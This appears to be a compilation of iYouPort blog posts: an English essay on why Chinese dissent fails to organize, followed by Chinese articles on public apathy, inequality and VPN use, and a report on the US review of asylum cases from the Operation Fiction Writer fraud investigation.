For Chinese enthusiasts like Novak, one of the things that baffles him most about mixing with Chinese is the subtlety of relationships, even on the Internet. Within a few days, a large and lively group can became deserted, as another new group emerged, excluding some of the old one. The new group then continues to divide, continuing to exclude some of them, becoming smaller, and then continuing, eventually disintegrating.

Interpersonal stickiness depends largely on mutually beneficial relationships, based on the exchange of money or social assets, rather than on cohesion based on consensus. In Novak's view, relationships are difficult to maintain if you don't make them aware

in the first place that you can provide the benefits they need, or **you may not be able to bring people together through some spiritual need.**

But this is not all, the material capitalist society is basically the case. For China, the more special or subtle, lies in the following points.

Ideology

"Shabi(idiot)", a word invented by the Chinese, is now loathed by many Chinese. Why? Because it's overused. When a person disagrees with another person's words, he or she can call the other person an idiot. Not even wanting to understand your full meaning, making negative judgments based only on their own senses, thus labeling you an idiot. Novak believes this is no longer just an obstacle to discussion.

That's right. It's not just an emotional statement, but one of the reasons why the Chinese cannot get organized.

People are using differences of opinion to justify subconscious social alienation. It seems to be a good excuse. "Oh, that idiot, how can you be in league with him?" No one thinks that different points of view do not mean wrong. The "idiot" theory presupposes that one is absolutely right and incredibly intelligent. Well, people don't know what they don't know. But deny oneself still have don't know, this is a kind of very arrogant behavior.

Strong ideological expressions often lead to ludicrous judgments. This is a common phenomenon. I objected to the fact that the Coalition started bombing Syria before the chemical weapons investigation team was even investigating, when someone accused me of supporting Assad. Ironically, they leave you with only two options: support NATO or support Assad, and there is no third.

As if antiwar did not exist, nor did awareness of the nature of Syria's years of squalid proxy war need to exist. **People just want to see you pick sides and pick like them.** Like the dispute between the sweet and salty Douhua, it is a metaphor rather than just a joke. Is my preference for plain Douhua without any

seasoning an act worthy of criticism?

Political polarization, tribalisation of the public opinion field. While these terms are constantly being bandied about by academics, they do not adequately reflect the full extent of the problem. People are just using it to disguise the nature of relationships. When you're faced with a strong need for the common good, conflict of ideas doesn't really matter that much.

In the last 50 days or so, two twitter hashtags: #1Tweet ADay4JA and #FreeJulian, have called for the release of Julian Assange. "Whatever your political views, if you support human rights and defend the right of the people to know, which is the foundation of democracy, then we stand together" is one of the most widespread motivational tweet you will ever see. This creates the largest possible union. **By contrast, almost all of China's public-opinion movements have a clear claim to unanimity, making it difficult to connect more forces to one immediate end, often resulting in failure due to rapid fragmentation.**

I don't want to say that Chinese society and their government are potentially isomorphic. But the high pursuit of consensus is by no means characteristic of a democratic society. It's important to know that the inefficient elements that make you uncomfortable are the very foundation of democracy and community. An effective democratic culture must involve some sort of messy and embarrassing fortuitous encounter, as does the community. People have to be able to touch things that they don't want to touch, to hear topics and opinions that they don't want to hear. But this is an awkward time, and you need to put a little effort, a little push in the consciousness of the initiative to find, to work hard. Otherwise a little carelessness will slide into the black hole of individualism.

It's impossible for a highly segmented society to unite. Moreover, the pursuit of ideological formations can also suppress your judgment of the facts. Worse still, there are times when you need to lie about it, because there are no perfect parties or groups that are always right. For solving specific problems, different factions have their own advantages. If you have to maintain support for one or the other, or simply attack the other, you have to avoid some of the facts, or you can't justify yourself. The result is that you become the

medium of lies, not the justice you defend.

So the next time you meet someone who rejects a union under the guise of conceptual ideology, you already know what to do.

「图」

「图」

Class

China is not so “class solidified”. It is true solidification if you compare it to the British society, where birth determines life. But in Britain, apart from the royal family, there is not much difference between the different classes, except for a few lifestyle details. Middle class, for example, just means there are carved flowers on the spoon, while what you eat is no different from the bottom.

In China, however, there are considerable differences between classes, which makes it difficult to communicate. It is not only that different classes are hard to reach (No one on the Internet knows what your assets are, unless you own a well-known company with a real name on the Internet. But that doesn’t delay judging a person’s class status), but also the problem that different classes are unable to collaborate.

Let’s start with why the difference is so big. This may be an unavoidable problem for every society that has experienced sporty “equal distribution of wealth”: The history of being forced to wear “triple colours” shoes like everyone else implanted a same kind of choke in Chinese’ spirit. The first thing to emerge from the so-called ‘reform and opening-up’ was the nouveau riche landscape: huge gold rings, gold chains that are thicker than a thumb, designer clothes that don’t cut labels, and so on. These ostentatious displays of wealth that are now ridiculed have not gone away, they have only become more obscure. The self-evident sentiment of those who live their lives on Chinese social media is exactly what the gold chain says.

Yes, they have changed from their father’s generation of upstarts, but not much of the underlying consciousness has changed. That is:

“I and You, the lower classes, are completely different.” People will sum up a person’s class profile through their social media show life to decide whether or to what extent to interact with it.

The end result is that the groups that form strong connections are basically people in the same social position. They either have similar qualifications and experience in prestigious schools, or they have almost the same social resources or even resource structure, which makes it extremely difficult for those at the bottom, which is the largest base of social movements, to get assistance from the higher classes.

Over-emphasis on class labels leads most directly to “exclusion”. As you know, exclusion is top-down, not the other way around. But it must be said that **the higher classes have more and better access to education, and certainly more knowledge and skills than the lower classes have at their disposal. If the unity exists, the different classes can cooperate for the same benefit and perfect the multifarious resource demand of the revolt.**

When I was in the United Kingdom, I had the privilege of participating in a regional social movement against depression discrimination. The most impressive thing is that all kinds of technical personnel and experienced senior members of the social movement came to help. They are completely from different classes, the collaboration is quite harmonious, the overall progress is very smooth. Though small in scale, it is a model of the perfect social movement. In China, however, to give just one example, if you have the slightest impression, you can recall the trend of online public opinion after the explosion in Tianjin. Many people were emphasizing that the victims were middle class, so much so that iyouport had to publish a semi-academic version of Middle Class Psychology and Underclass Psychology to get solidarity out of the class divide and into a level of joint pursuit of power.

This is nothing compared to what it is today. Now the bigger problem has to be reiterated: **The authorities are using the full range of technological capabilities to control society. Yet the bottom political activists with the largest base are generally unfamiliar with technology, and the lowest technocrats are middle class, a common feature of Asian countries** (as opposed

to Western countries, where technocrats are mostly at the bottom). It is well known what the financial resources of the rich in this country are. This has resulted in those who are truly capable of confronting the authorities being less interested in politics, and those who are unable to protect themselves because they do not understand the technology are arrested and brought to jail.

We are not emphasizing the importance of class, but the authorities have been moving faster and further than this society: the Chinese authorities have been shown to be deliberately controlling hackers, the new elite. The authorities are equally distrustful of the decisive role of the class, what they expect is nothing more than full control of the political and ideological state of the technocratic elite.

「图」

「图」

At the same time, most of those at the bottom (even those over 45) have yet to understand, much less value, what technological capabilities mean for resistance in this day and age, resulting in a failure to unite and to assist one another.

Dissent, which is the foundation of democracy, is of no use to authoritarian states, because democracy relies on the constant updating of mistakes to maintain the principles of fairness and justice. **What dissent can provide is supervision and assistance to the regime, which is based on the feasibility of reform. Authoritarianism cannot be reformed, dissent cannot and is not prepared to shake / challenge power relations, and it is the opposition that is needed to deal with authoritarianism.**

Dissent and opposition are not a matter of hierarchy, but fundamental differences, common sense that we have always emphasized, breaking the basic principle of non-repetition of common sense and emphasizing it, precisely because so many people still do not understand this point.

To be a qualified opposition, only cognition is not enough. You also need more and more full technical ability, experience and strategic wisdom. However, in China, because people who own the latter and

those who own the former are segregated in different classes, it is difficult to integrate into a successful opposition group.

「图」

「图」

Wrong use of the Internet

As mentioned above, these two months of participation in solidarity with Julian Assange have elicited a different kind of emotion from any kind of solidarity, from the onlookers who have watched Wikileaks at every step of their ordeal for more than a decade. Originally intended to sum up, it does not seem necessary now, there have been enough articles in constant elaboration and analysis, and the iyouport blog translated some of these key articles. We'll just talk about the difference here – the difference between Chinese solidarity and this solidarity.

The first and most obvious is that the de-ideological alliance mentioned in this article is very difficult to achieve in China. Many friends think that my idea of ideology that I often talk about is simply a result of the inertia of the media experience, which is not exactly the case. Yes, the principle of the media is so, but it exists because it helps journalists focus more on the facts themselves and more on the overall objective of presenting information to the public.

That is, the power of unity. If we are now pursuing a reasonable resolution of a case of human rights persecution, whether you are left or right or liberal, the defence of human rights is the bottom line, meaning that your ideological leanings have nothing to do with the purpose of union. Even if your interpretive logic seems to me to be utterly unpalatable, as long as your conclusions are like mine, we deserve to be united. In Julian Assange's solidarity, almost everyone does.

It is not that the group of supporters is powerless, on the contrary, it is very powerful. **It is a multinational group, a multi-lingual coalition of opinions, and people do not mind each other whether they use the same language, whether they share the**

same logical position, as long as our goal is the same: you are my friend.

It's very inspiring, and that's why I've been supporting more Chinese people to join at least this massive transnational movement, and you can appreciate a lot of things that you can't experience in China, and it's valuable as experience.

The second is the recognition of the value of the Internet. A well-known joke is that stupidity is more popular than cleverness on the Internet. The reason this is so true is that too many people use the Internet by mistake.

The Internet is not a stage for intellectual superiority – the proliferation of shallowness and stupidity is also the result of too many people and even the media, who subconsciously push up the popularity of shallowness and foolishness. But that is not the point. The point is that this wrong use obscures the true value of the Internet. People lose their energy by indulging in insults and ridicule.

The graph below shows the distribution of traffic on the night of Julian's disconnection from the global supporters vigil (twitter only), which is the true value of the Internet. It is not just a coalition of public opinion, so you can see exactly where street protests can take place, at least in the countries where they were organized, namely Sweden, Spain, the United Kingdom, the United States and Australia.

「图」

「图」

I have always refused to repeat common sense, which many people on the Internet do, but it seems to me to be a kind of active backward. Apart from extensive connectivity, the most outstanding value of the Internet is that it is new and fast, spreading the latest knowledge at a speed that traditional publications cannot match.

In short, **the Internet's greatest capacity is to mobilize and connect, not to perform as an individualist.** There is an active

group in the #FreeJulianmovement that adds all of its supporters, especially the more influential ones, to connect, promote, and raise their voices. They don't care where they live or whether they have the ability to organize and participate in real-life street movements, which is a powerful organizing techniques.

Anxiety

Anxiety is an emotional state that stems from one of the authorities perennial stabilisation strategies: fragmentation. Infiltration, public rewards for whistleblowers, and so on, reinforce mistrust among people with the basic aim of creating disunity. Novak says he has been told by Chinese that any organization will be infiltrated and watched everywhere.

We have analyzed this issue in detail in Why Are They So Rampant? Because You Don't Trust Each Other. It's true that infiltration exists, but it doesn't mean that organization isn't viable.

Our earlier article introduced Anonymous several times, one of the world's largest transnational hacker groups, and is best known for its involvement in international hot political events. They are the great organizational templates of the Internet age – decentralization, self-assembled people, all working together for the same basic goal. Do your best.

In the age of the Internet, there is no need for a clear central organization, and people do not really need to be in one place. Technology provides this facility, so infiltration is not too harmful to such a combined force. Because people have a single goal, a high concentration of power, and the task is completed automatically dissolved. Everyone knows why they come, infiltration is not affected by the thrust of the action.

And those who exaggerate the ability to infiltrate are likely to be helping to create a climate of fear for the authorities. There is little need to worry too much about infiltration unless it enters a key secret group. And it is insiders, not newcomers, who are most likely to cause the situation.

The model above is well worth for real-world resistance, and that is

why penetration anxiety is not necessary. It's likely that some people understand organizational processes in the opposite way. They are more familiar with traditional models, forming organizations first and then planning their operations. Not really. Decentralization organizations in the Internet age only need more people with the latest information, a sense of justice, and the technical ability to join at any time. If you have followed one or two members of Anonymous, you will find that there are many different languages, even Japanese, on your Timeline. This is an everyday connection.

The Internet provides a great opportunity for people to learn from each other. If the Chinese can break through the closure and draw on the rebellious wisdom of global dissent as much as possible, refuting this article will hold great promise.○□

原文

中国人什么都知道 - iYouPort

关于中国社会

目前为止赢家还是党国。其原因依旧在于，中国人仅仅是什么都知道

「图」

「图」

“你翻译的新闻价值太低了，因为那些东西中国人都知道”，有人这样跟我说。细想下似乎也对，空气污染的致命性、数字监控的技术性、#19thcpc 的扯蛋性、贫富差距悬殊的危害性，等等一切，中国人似乎真的都知道。

共产党使用的依旧是威权政府的传统管制方法，也就是一边封堵，一边灌输，他们一直认为封堵比灌输更重要，万一没封住，谎言的灌输就会被真相批驳。他们在这点上真的有点落伍了，传统适用的年代可不是互联网时代，如今只要人们想知道，就肯定能知道，并且，你封啥越狠，人们就越对啥感兴趣。结果就是，中国人什么都知道。

然而，这只是一半话，目前为止赢家还是党国。其原因依旧在于，中国人仅仅是什么都知道。

「图」

「图」

“我觉得做口罩比做卫衣好卖”

一位希望把中国社会的反污染抗争做成流行元素的设计师朋友这样说道，因为我出的主意是做卫衣，毕竟中国大陆当前的气温不适合T恤了。但他却不同意，他说，“如今人们最多考虑的是如何自保，而不是如何表达不满，口罩会比衣服更好卖”。

看起来他比我聪明。跳出中国大局域网后你会发现，关于污染、环保维权等相关信息中必需有人被抓被打，否则什么研究报告啊、最新调查啊，都很难吸引转发评论。因为，人们觉得这些东西自己都知道。

发表在《柳叶刀》期刊上的一项最新研究指，2015 年，全世界有约 900 万人因空气、水、土壤的有害物质而死亡，其中导致死亡的最危险疾病是心肌梗塞、中风及肺癌。绝大多数死亡病例发生在贫穷地区或新兴发展中国家。印度国内每 4 个过早死亡者中就有一个是因环境污染死亡，总数 250 万；中国环境污染死亡人数排名第二为 180 万，在提前死亡者中的占比为五分之一。

供暖季又来了，中国北方的大部分城市再次进入了聊斋画风，或许正因为是再次，如今已经波澜不惊。

我这里说的波澜和大多数网民意识里的舆论可不大一样，对于舆论来说要想出现峰值只与三种情况有关：1、新颖的主题。以前你们谁都没见过的新料儿，越刺激越好。同一个性质的料儿连续出现两三次后立刻就会过气，舆论会大跌，不管其是不是重要；2、新增受众群。比如以前外国人不知道的中国事儿，现在他们知道了，这个就叫新增受众群，容易引起舆论热潮，再或者资深小粉红忽然醒悟，认识到自己以前信任的东西都是bullshit，追悔莫及，都属于这点；3、满足大多数平台使用者的自我表达欲求。社交媒体就是个自我表达的舞台，如果希望信息受到关注，信息本身必须要切中大众的共有认知和表达欲求，如果你研究得太高深了，即便与大众息息相关，大众也不关心，因为看不懂。如果你太俗太低端了，人们看不上眼，没兴趣表达，一样不会出现太多舆论。

然而只有舆论又有什么用呢？这多年来舆论还少吗？并不是舆论本身没用，在早年，人们还希望贴出一些戴口罩的照片以表达自己对污染的不满、或者一群人戴口罩上街转一圈，然而如今，连这些都“过气”了。如果只是表达异议，加之缺乏创新能力，很快你就会玩腻，党国有的是耐心等你玩腻，祝华新不是早说过么，让人们上网骂街就能免得上街游行了。

可明明是个自我表达的时代、目测异议者也越来越多，却为什么难以将反抗表达形成流行元素而占据亚文化一席之地呢？一方面承认源于管制，加上普遍的胆怯，人们宁可隐姓埋名上网吐口水，也不敢穿上一件声明自己政治立场的衣服。另方面则恰恰是源于占据主要动机的自我表达，自我表达的目的在于满足自我而不是表达的价值本身，相比基于全社会权利的呼吸问题，人们更喜欢穿上一件写着“低端人口、困难群众”的衣服来自嘲。或者干脆如下图这样。

「图」

「图」

新闻太硬没人看，现在不硬了，好玩吗？

党代会这种消息，尤其是威权国家的党代会，大家都知道会非常死板僵化，除了媒体的工作需要，其他人大多不会看。这类新闻被称为“太硬”，媒体在播报的时候需要尽可能做得宣传性（propaganda）一些，好玩一点，以便维护流量走势。

管制是一贯的严格，中国媒体只能从民族服饰秀上找亮点，老百姓最多只注意到了江泽民的放大镜，而外媒也明显被局限，大多停留在个人崇拜、法西斯化等众所周知的问题层面上。而腾讯实现了一个“软化”，气氛立马就上来了。

腾讯做了一款游戏，让用户通过在游戏中快速反复点击手机屏幕，来给习近平鼓掌。

在微信里打开这款游戏后，它首先会播放一段讲话——比如中国社会目前存在的种种“矛盾”，或者是农村减贫工作的内容。玩家有19秒钟时间尽可能多地点击屏幕的底部，操纵一双动画的手疯狂地鼓掌。

每玩一轮最多可以鼓掌1000次左右，一天之内这款游戏共收获了10亿次以上的鼓掌。也许你认为这数据是吹出来的，我无法保证几成靠谱，至少目测很多群聊都在转发这款游戏的截屏画面。

游戏的背景图像是习近平发表讲话的人民大会堂，有媒体认为这是给玩家一种身为2300名代表一员的感觉；CMR China董事总经理Shaun Rein称，多数中国人很欢乐地玩这款游戏，表达他们的支持。他表示，人们喜欢习近平昨天的发言，他们非常支持中国共产党和中国的复兴。

这种说法基本正确，但不全面，因为连很多异议立场的网友也会参与这个游戏，可能在他们心目中该游戏属于反讽。腾讯难道不知道这个社会是异议者占据大多数吗，那又为什么要砸钱做这么一个献媚的玩意？他们当然知道，但更知道其生存的掌控权在中南海，并且，当下的异议不过是口水式异议，中国人在反讽方面颇具敏感性，这款游戏在不同人眼里具有不同的意味，以社交媒体一拥而上的凑热闹心态，“一天内10亿次掌声”简直轻而易举。

「图」

「图」

“谁还能不知道贫富差距？都怪你自己没本事赚钱啊”

这是句挺常见的中国式抱怨，抱怨的不是不公平，而是为什么穷的是自己。

去年北京大学中国社会科学调查中心发布了一份《中国民生发展报告2015》，显示中国目前的收入和财产不平等状况日趋严重。报告说，中国居民收入基尼系数已经从80年代初的0.3左右上升到现在的0.45以上，而家庭财产基尼系数则从1995年的0.45扩大到2012年的0.73。记者调查发现，这份报告与2014年发布的版本内容几乎完全一致。彼时，中国官媒人民网就发文称“中国顶端1%的家庭占有全国三分之一以上财产”。研究人士认为，中国真实的基尼系数应该在0.52左右。

习近平宣称要在几年内消除贫困，暂且不议他能不能实现、以及怎么实现，仅凭近年来的诸多研究便可证实，很多危机和社会问题并非是由深陷贫困的人群造成的，而是贫富差距过大的社会的通病。

换句话说就是，不在于一个社会有多富有或多贫困，而是在于是否具备公平的分配。这个社会的不平等程度造成的危机，远超过贫困本身。

比如，研究显示贫富差距与人的自尊感和不安全感存在密切关系。在不公平社会里，人们会对他人如何看待自己这件事抱有特别的敏感，这反过来就会形成一种防御机制，人会变得愈发焦虑，拼命地晒自己哪怕是伪装出来的稍高一些的社会阶层，这是容易被误会成自信的标准型低自尊表现，与他人的关系愈发冷漠，并伴随着严重的种族主义和偏执。

这种所谓的“社会评价威胁”会带来严重的自恋和焦虑，一再拉低社会互信，对社会心理状态造成影响。进而，团结起来的可能性严重下降，社群组织虚化，民间一盘散沙；抑郁症高发，众多案例显示，DSM-IV-TR 诊断系统第四轴尤为突出，酗酒、药物滥用、暴食、暴买、滥交甚至毒品在中青年代中成为主流；自我推销取代了立场表达和谦逊的反思，异议不仅没有上升到反抗，相反却跌入了口水和炫技。

不公平社会带来的普遍焦虑令人们纷纷输给了跨期选择问题，投机变成了智慧，努力工作哪里有炒房炒股来得痛快？这个社会告诉你有钱人都不是凭知识文化发财的，知识无用论自然会大行其道。为了提升社会地位，人们选择更加鲁莽的策略，目光越来越短浅，只能看到眼下的欢愉。

“成功”与否变成了一系列外在的符号，名牌服饰、收入、住房、汽车，甚至粉丝量，所有人都在往上爬，却不会去反抗不公平的社会现状。因为信任没了，合作不再，人与人之间变成了单纯的竞争关系，超个人主义要的只是我赢，而不是共赢。

物质财富差距越大，社会地位差距的影响就越深远，在不平等的社会里，对地位较低者的偏见就越严重，社会顶层的富人和底层的穷人之间的距离就越远。人们争先恐后的通过表达自己对地位较低者的优越感来维持自己的社会地位，被剥夺来社会地位的人，只能拿更弱的弱者来出气，以试图重建自己的地位。

英文有句俗语叫“船长踹服务生，服务生踹猫”，反映的就是对地位更低的人的攻击和憎恨。人们都知道这个社会是互害的，但这种互害的走势绝不是自下而上的反攻，而是自上而下传递。

心理学称之为“错位攻击”。又叫做“骑自行车反应”——你看骑自行车的人，对领先者的姿势是鞠躬的，而对落后者则呈现蹬踹的姿势，很形象吧。只有在平等的社会里才有包容和同情，而不平等的社会里只有欺凌和抱大腿。

「图」

「图」

恶意愚蠢的目的就是把你变得更加愚蠢

又有谁谁翻墙被抓了，用VPN是危险的……这种话如今越来越常见了，甚至有人还据此编出了某大城市地铁站有警察站岗专门检查过客的手机中有没有安装VPN的假消息，这是为吓唬谁呢？

共产党对VPN的管制本身还算不得十足的恶意愚蠢，因为**VPN**不光是为了穿越**GFW**用的，它是一件维护隐私安全的利器，可以混淆用户的**IP**地址，或在用户进行**WEB**浏览时增加一层安全保护。然而当局的恶意愚蠢用在了这个糟糕的墙上，作为互联网时代最寻常的信息获取都被变得奢侈起来。

反过来看，那些认为自己不翻墙也没什么损失的人，自然对VPN就没了需求。VPN在美国的销量远超过中国，尤其是在棱镜事件后直到特朗普时代的来临，隐私威胁引起了全社会的警惕。然而随着共产党对网络管制的兴趣愈加浓厚，民间反而对翻墙失去了积极，早一两年前便有VPN卖家抱怨翻墙的人越来越少。为什么呢？

简要总结一下收集到的不用VPN的理由：1、反正不会错过什么消息，几百人的群里只要有一个人翻墙，就让他做专职搬运工吧（其结果就是这个唯一翻墙者的兴趣品味定位了全部几百人的眼界）；2、上网就是聊天解闷而已，没有墙外那些信息一样不耽误聊（这点在年轻人非政治热心群体中占据绝对大比重）；3、谁会在网上说实话呢？被他们看到也没什么大不了的，反正不是真心所想（这种观点在以反讽为荣的群体中最常见，有的微信群聊干脆把群名改成了“共产党万岁”，以示对审查的讽刺，但这有什么意义呢？）；4、用VPN网速太慢，抢不到红包（这个真的无力置评）。

那么换个方向，用VPN的人大多是什么想法呢？：1、吐槽痛快，骂街潇洒（基于浅薄的自我表达，没有深入思考，也就无从利用）这就是纯粹的被恶意愚蠢绑架的结果。大局域网内连口水都吐不得，但人们并没有因此激发出进入反抗的升级模式，反而却认为“口水是有价值的”，把删帖喝茶等管制手段一概认为是“党国害怕了”，于是得出了自己了不起的结论，实在无语。

2、知情者优越性（基于表演的传播）如果几百人群里唯一的那个翻墙者是你，那意味着你具有绝对大的发言权，其余所有人都要关注你的动态，是不是很满足呢？真的有人只为了这份满足感才选择的付费翻墙软件，然而恰是这种被满足的需求导致，他们的眼光更多停留在那些仅仅是足有足够高吸睛度的信息上，根本不辨真伪。他们成了推特中文圈这个中文网络最大的假消息滋生地的铁粉。另外那几百人什么样就不用说了。

然而，政府的管制部门再次使用恶意愚蠢帮助了那些毫无价值的假消息的传播——传播者被喝茶了，喝茶的消息进而得以迅速传播，更多人便就此认为宫廷八卦、推特小报“价值连城”。

3、“我是在反抗”。表面上看很合理，对于信息封锁的反抗就是打破封锁，但打破之后呢，你真的获得有价值的内容了吗？那可不一定。信息自由意味着你需要更多判断力和思考，否则只能花钱买梯子去养活那些用姿态口水刷粉的营销客。

恶意愚蠢的唯一目的就是把你变得更蠢。你以为党国不知道吐槽不会

威胁到他们的政权稳固吗？还是不知道VPN的真正用途？当然不会，他们比你我知道的更多，恶意愚蠢的意思就是装傻，拉低所有人的智商下线，从而让你我更易于满足、更大程度上远离那些真正能威胁到他们的层面。

……

中国人什么都知道，绝大多数人知道自身被不公平待遇的滋味，但伊斯兰恐惧症和厌女症也是大多数。人们知道特朗普抛弃了PPT，让更多的亚洲国家加入了中国的区域性贸易俱乐部；人们也知道美国拒绝了巴黎协定，让大力发展新能源的中国分外光彩；腾讯控股买入特斯拉5%的股份，而白宫忙着建造边境墙……但还是有不少人把“遏制北京”的希望寄托在这届美国政府身上，就像所有人都知道郭某人称赞习近平是“千年不遇的圣君”，也依旧视之为“策略”而继续寄予希望一样。

我只是知道中国人什么都知道，但我不知道，为什么在充分知晓的情况下依旧一事无成。〇

原文

中国人如何在美国骗取政治庇护？ —— 严打已开启，接下来会发生什么？ - iYouPort

关于中国社会

打击非法移民行动已转向华人：美国政府正在重新审查 **3,500** 个政治庇护案子，涉及**13,500** 人，大部分是 **2012** 年前获得庇护的中国人，包括**10,000** 多名家属的庇护案，以决定是否驱逐**……**提前声明，这是个很反胃的故事。我们还为此写了一个编者按，在文章最后。欢迎来到五味杂陈的世界。

「图」

「图」

NPR 的 Planet Money 已经了解到，美国政府正在对多年前获得庇护身份的超过 13,500 名移民（主要是中国人）开启重新审查，他们可能面临着被驱逐出境的“前景”。

美国公民和移民服务局、移民和海关执法局以及移民审查执行办公室正在考虑剥夺几年前赢得庇护身份的移民的居留权。

移民官员正在全面抵制这些移民，联邦政府称这与 2012 年对“庇护工厂”的调查有关。在那次调查期间，纽约联邦检察官围捕了30名移民律师、律师助理和口译员，他们帮助移民在曼哈顿唐人街和法拉盛以欺诈手段获得庇护。该案件被称为 Operation Fiction Writer。

联邦政府表示，在“Operation Fiction Writer”期间被定罪的人已经实际帮助了 3500 多名移民，其中大多数是中国人，他们成功获得了庇护。当局指控他们使用“样板语言”编造遭受迫害的故事，指导客户记忆并向移民官员背诵虚构的细节，并伪造文件以支持假庇护申请。

在起诉后的几年里，移民官员一直在审查这些庇护案件，以确定哪些客户在其庇护申请中撒了谎，因此应该被驱逐出境。

恶心人的情节就在这里：“Operation Fiction Writer”调查期间，其中一名被调查的人与当局合作抓捕他自己的朋友，以换取自保的准允。那位要求媒体称他为“劳伦斯”的男子在2011年至2014年期间为政府提供了帮助。他说，他为制造假庇护案的律师工作，那些律师向客户保证，他们捏造在中国遭受迫害的经历是没有危险的，只要他们能悉心听取“法律建议”。

下面讲述这个故事的详细内容。

「一个前所未有的重审」

美国公民及移民服务局在一份书面声明中证实了劳伦斯对媒体所讲述的实质内容 — — 移民官员正在审查多年前于“Operation Fiction Writer”行动中被定罪的欺诈律师所处理的 3,500 起庇护案件。移民局还确认他们正在审查 10,000 多名家庭成员的庇护案件，这些家庭成员被授予了所谓的“衍生庇护身份”。

因此，总共有超过 13,500 名在 2012 年12月之前获得庇护的移民可能会因此被驱逐出境。

在 2012 年宣布起诉时，奥巴马政府的官员、包括当时在纽约南区 Preet Bharara 的美国检察官，都决定不对任何客户进行刑事起诉。但现在风向变了。

如今，“USCIS，ICE 首席法律顾问办公室和移民审查执行办公室正在重新审查这些案件，以维护我们国家庇护制度的完整性，并确保合法获得庇护者的补助金，”Katherine Tichacek 说，这是他写在美国公民及移民服务局发言人的一份书面声明中的。

事实上，移民官员审查被判庇护欺诈罪的前律师的前客户案件并不罕见。但移民律师表示，他们在 **ICE** 历史上从未见过官员系统性地审查如此大规模的旧庇护案件。

很难确切地说，有罪的律师处理的案件究竟有多少是欺诈性的。每项事实检查都要求确认涉嫌多年前所发生的故事，以及涉及其他具有不同法律制度的国家。

Tichacek 解释说，在本次审查中发现旧的庇护案件可能存在欺诈行为时，ICE 的律师将向移民审查执行办公室提起诉讼，以重新审理此案。如果移民法官批准该动议，庇护者将获得听证会。然后，法官将重申是否给予庇护或终止庇护身份。

“各机构正在审查每个案件的档案，并根据正当法律程序作出合法决定，”Tichacek 说。

即使没有欺诈行为，其案件被“重新再审”的人也需要支付数千美元的法律费用来抵御指控。

「华裔移民在纽约的奋斗 — — 和一个“机会”」

2005 年 7 月，劳伦斯登上了从中国飞往纽约市的飞机。在他的脑海中，毫无疑问，都是在美国的新生活将如何发展的美妙构想。“我想我会成为百万富翁……或类似的东西”，他说，“我对自己总是很有信心。”

但劳伦斯记得他在美国的第一年是绝对糟糕的一年。他陷入了在法拉盛地区非法务工的一连串可怜的工作 — 在一家门窗公司、一家玻璃厂和其他类似的地方工作。

直到 2007 年1月，他偶然看到了一则小广告：唐人街旁边的移民律师办公室需要一名中文翻译。他把简历传真过去后，对方立即打来了电话，问他何时可以开始工作。

事实证明，这个小型律师事务所专门处理庇护案件。劳伦斯很快就会知道，他已经进入了一个拥有巨额赌注的世界。

政治庇护是一个快速的且直接的道路，让你留在该国。这并不容易，但如果你这样做并成功了，你就可以立即获得工作许可。您还有资格在一年内获得绿卡 — — 然后在五年后获得公民身份。

多年来，中国人比其他任何国家的移民都更多地走了政治庇护的路径。根据 USCIS 的最新数据，2016 年获得庇护的 20,455人 中约有 22% 是中国移民。第二大群体是来自萨尔瓦多的移民（10%），再其次是来自危地马拉的移民（约占9%）。

2007 年劳伦斯加入的移民办公室的律师名叫 Ken Giles。劳伦斯说，Giles 的律师事务所只有三张办公桌，挤在一间小房间里：“那里发生的一切都是在公开的”。

他说：“我意识，这种事在中国移民社区是公开的秘密……许多中国人都在进行庇护欺诈。”

根据劳伦斯的说法，客户会走进去告诉办公室经理他或她想要寻求庇护，因为这是朋友或亲戚所建议的。

劳伦斯说：“办公室经理会与客户讨论他们应该追求什么样的说法、以及他们应该填写什么样的故事，他们应该提供什么样的假文件”。“[经理]编写了这些故事。他把故事记录下来，并要求那些客户用他们自己的话熟练地复述它。”

中国移民能成功获得政治庇护的一个原因是，中国申请人提交的最常见的故事完全符合庇护官员和移民法官用来给予庇护的标准。

在美国，您获得庇护之前，政府希望听到您的故事 — — 一个关于“有充分理由担心遭受迫害”的故事。这种迫害必须基于你的种族、宗教或政治观点，或者你所属的某些“特定社会群体” — — 而且必须是专门针对你的迫害，你需要证明这点。

中美洲移民多年来因为声称他们正在逃离犯罪团伙的暴力行为，而使获得庇护的过程更加艰难，因为很难证明威胁是针对性的，或者政府没有采取任何措施阻止这种行为。但中国移民不存在这样的问题 — — 他们最常见的庇护故事涉及到将他们直接作为目标的政府。

这些说法主要分为三个部分：国家计划生育政策下的迫害、政府基于个人宗教信仰的迫害，或人民的积极行动追求民主变革而遭受的迫害。

「图」

「图」

「在庇护工厂内」

劳伦斯说他观察并了解了 Ken Giles 律师办公室中庇护欺诈业务的来龙去脉。大约一年半之后，他说他最终开始了更大规模的行动：在另一家律师事务所，由一位名叫刘凤玲（音）的女子经营。

劳伦斯说，像 Ken Giles 一样，刘女几乎专注于庇护案件。劳伦斯将办公室与工厂进行了比较，每个工人都有指定的任务，无论是翻译、辅导还是编故事。

劳伦斯说，他最初是在刘凤玲的公司担任“故事作家”。他将从一些客户的某些细节开始，这些细节实际上是真实的，他的工作是将细节编织成更大的政府迫害剧。劳伦斯了解到这些故事必须生动，并能够讲述巨大的痛苦。只有某些种类的痛苦才能申请成功：即 政府有针对性的迫害，这种迫害是基于宗教、政治或中国的计划生育政策。

劳伦斯估计他在几年内为客户写了 500 到 600 个假故事。他还编写了大量的学习指南，供客户使用。他让律师事务所的口译员收集这些指南发挥作用的实地数据 — — 通过庇护官员倾向于提出的问题以及他们似乎更喜欢的答案来改进这些指南。

劳伦斯说，他在这一点上开始理性化他的行为："有时我会以这种方式证明自己：我说，'好吧，我在助人为乐。我正在帮助那些中国下层人士在美国获得自己的地位。这不是犯罪。他们想要什么？只是在这里找到工作而已，在中国餐馆的工作。"

2010 年11月左右，刘凤玲的办公室解雇了劳伦斯。她说他们厌倦了处理他的兼职时间表。几个月后，劳伦斯又回到了 Ken Giles 的办公室，继续帮助解决一些庇护案件。

那是 2011 年的春天。当时劳伦斯遇到了一个移民叫"李"，李说她的姨妈告诉她，她已经没有办法继续留在美国了，怎么办？"去申请庇护"。

"感觉就和我周围的人说的一样 — 和我一起工作的那些人，我圈子里的人，"李说，"据我所知，申请庇护以留在这个国家只是一件很正常的事。"

对于劳伦斯来说，李的到来就像中了头彩一般：她年轻，29岁，受过大学教育，李还曾经选择在中国堕胎，并在成长期间偶尔去教堂。

